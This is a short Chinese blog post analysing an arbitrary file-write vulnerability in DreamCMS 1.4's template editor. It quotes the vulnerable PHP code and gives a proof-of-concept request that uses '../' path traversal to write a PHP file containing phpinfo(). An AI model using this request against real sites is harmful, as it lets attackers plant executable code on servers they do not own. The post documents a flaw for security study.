【文件写入】【梦想cms1.4】

方法

file_put_contents() 函数把一个字符串写入文件中。

思路

public function editfile(){
        $dir = $_GET['dir'];
        //保存修改
        if(isset($_POST['settemcontent'])){
            if($this->config['template_edit']){
                rewrite::js_back('系统设置禁止修改模板文件');
            }
            file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
            addlog('修改模板文件'.$this->config['template'].$dir);
            rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
            exit();
        }

 

 
  public static function put($path,$data){
        if(file_put_contents($path,$data) === false)
            rewrite::js_back('请检查【'.$path.'】是否有读写权限');
    }

put方法通过file_put_contents()方法写入文件,由“$this->config['template'].$dir.'/'.$_POST['filename']”和“string::stripslashes($_POST['temcontent'])”控制输入

 

TemplateAction.class.php中通过editfile()函数调用put方法

测试

http://10.22.55.248:8083/admin.php?m=Template&a=editfile&dir=../

filename=123.php&temcontent=<?php phpinfo();?>&settemcontent=

 

 
posted @ 2023-10-11 09:28  任尔东西南北风  阅读(19)  评论(0)    收藏  举报